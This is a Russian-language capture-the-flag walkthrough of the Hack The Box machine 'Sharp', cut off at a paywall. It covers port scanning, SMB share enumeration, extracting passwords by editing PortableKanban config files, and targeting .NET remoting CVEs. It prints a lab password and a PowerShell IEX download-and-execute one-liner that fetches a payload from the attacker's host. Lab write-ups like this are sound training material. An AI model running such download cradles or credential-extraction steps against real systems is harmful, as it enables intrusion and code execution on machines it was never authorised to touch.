warning
Подключаться к машинам с HTB рекомендуется только через VPN. Не делай этого с компьютеров, где есть важные для тебя данные, так как ты окажешься в общей сети с другими участниками.
Разведка
Сканирование портов
Адрес нашей машины — 10.10.10.219, закидывай его в /, чтобы можно было обращаться к хосту по имени.
10.10.10.219 sharp.htbПервый шаг любой атаки — сканирование портов. Я обычно выполняю его вот таким небольшим скриптом. Он делает два прохода: сначала по всем портам, затем с использованием скриптов (опция -A) — по тем, где что‑то обнаружилось. Это позволяет получить подробный список сервисов, работающих на удаленном хосте.
#!/bin/bashports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)nmap -p$ports -A $1
Как это обычно бывает на машинах с Windows, в результате сканирования имеем много открытых портов:
- 135 — MSRPC, служба удаленного вызова процедур;
- 139 — служба имен NetBIOS;
- 445 — SMB;
- 5985 — WinRM, служба удаленного управления;
- 8888 и 8889 — спецификация .NET Message Framing.
Как видишь, здесь нет веб‑сервера или каких‑то других сервисов, которые бы предоставляли широкое поле для проверок и поиска учетных данных. А значит, у нас всего два дальнейших вектора: тест без учетных данных (через анонимный доступ) и, если ничего не получится, брутфорс учетки.
Перебор SMB
Первым делом проверяем, что можно найти на шаре SMB. Находим общую директорию kanban, которая доступна без авторизации. С помощью SMBMap сразу просматриваем рекурсивно все содержимое (опция -R):
smbmap -H sharp.htb

smbmap -H sharp.htb -R kanban

Файлов очень много, и удобнее анализировать их локально, поэтому я подключился к общему ресурсу через проводник и скопировал все содержимое каталога на локальный хост.
Похоже, перед нами какое‑то приложение для Windows. Среди файлов нашлось руководство пользователя, это нам на руку. А в файле PortableKanban. находим учетные данные двух пользователей. Их пароли оказались зашифрованы. Для просмотра файлов в формате JSON в терминале советую использовать утилиту jq, которая позволяет в два счета парсить разметку и вытягивать нужные данные.
cat PortableKanban.pk3 | jq

Точка входа
Перейдем на машину с Windows (я обычно работаю в Linux) и посмотрим, что нам даст запуск приложения. Первым делом оно нас проинформирует, что по умолчанию пароль для администратора пустой.

Тут пришла идея изменить сами файлы конфигурации программы, так как цифровая подпись отсутствует и приложение не сможет проверить целостность содержащихся в конфиге данных. Сохраним файлы конфигурации перед их изменением.

Сначала удалим файл с разрешением md5, а потом уберем в двух оставшихся файлах конфигурации пароль администратора по ключу EncryptedPassword. Теперь мы можем успешно авторизоваться как Administrator с пустым паролем.


Стоит хорошенько изучить приложение, так как в нем могут найтись записи с критическими данными или еще какая‑нибудь полезная информация. К примеру, перейдя в настройки, мы видим список всех зарегистрированных в программе пользователей (те же, что и в конфиге). Что еще более важно, мы можем посмотреть пароль в открытом виде, просто сняв галочку. Пустое поле пароля у администратора свидетельствует о том, что это расшифрованный пароль из конфига. Так мы узнаем пароль пользователя lars.

Получается, мы можем расшифровать пароли из конфига. Давай восстановим и пароль админа — он еще может пригодиться. Восстанавливаем сохраненные конфиги и меняем роль (ключ Role) известного нам пользователя lars c User на Admin. Успешно авторизуемся (ведь пароль мы уже знаем) и уже знакомым нам способом получаем пасс администратора.


Теперь у нас уже есть кое‑какие учетные данные, и мы можем попробовать подключиться к известным нам службам. Снова начинаем с SMB и узнаем, что от имени пользователя lars нам доступна новая директория — dev. Сразу рекурсивно просмотрим все содержимое.
smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG'
smbmap -H sharp.htb -u lars -p 'G123HHrth234gRG' -R dev

В найденной директории видим записку и три исполняемых файла, один из которых — библиотека с говорящим названием RemotingLibrary.. Я снова подключился через проводник и сохранил все содержимое на локальный хост. В записке содержится список задач, где сказано о грядущем переносе .NET на WCF и добавлении валидации входных данных.

Подобные упоминания очень полезны, так как теперь мы знаем, что ввод не фильтруется, и в этом заключается дальнейший вектор атаки. Что очень важно, приложение написано на C#, поэтому переносим файлы на машину с Windows и декомпилируем с помощью dnSpy, начиная, конечно же, с клиента. Как видно в строке 15 декомпилированного кода, приложение отвечает на порте 8888. А строки 16 и 17 содержат учетные данные для подключения, которое обеспечивается за счет использования System..

У меня уже был подобный опыт, поэтому я догадывался, какую уязвимость придется эксплуатировать. Речь о багах CVE-2014-1806 (недостаточное ограничение на доступ к памяти) и CVE-2014-4149 (отсутствие проверки TypeFilterLevel). В эксплуатации нам поможет эксплоит Джеймса Форшоу.
Закрепление
Приступим к эксплуатации. Сначала сгенерируем нагрузку‑дроппер, которая будет выполнять основную нагрузку. В качестве нагрузки дроппера используем однострочник на PowerShell, который загрузит c нашего хоста код на PowerShell и выполнит его.
IEX(new-object net.webclient).downloadstring('http://10.10.14.73:8888/mt.ps1')
Продолжение доступно только участникам
Вариант 1. Присоединись к сообществу «Xakep.ru», чтобы читать все материалы на сайте
Членство в сообществе в течение указанного срока откроет тебе доступ ко ВСЕМ материалам «Хакера», позволит скачивать выпуски в PDF, отключит рекламу на сайте и увеличит личную накопительную скидку! Подробнее
Вариант 2. Открой один материал
Заинтересовала статья, но нет возможности стать членом клуба «Xakep.ru»? Тогда этот вариант для тебя! Обрати внимание: этот способ подходит только для статей, опубликованных более двух месяцев назад.
Я уже участник «Xakep.ru»
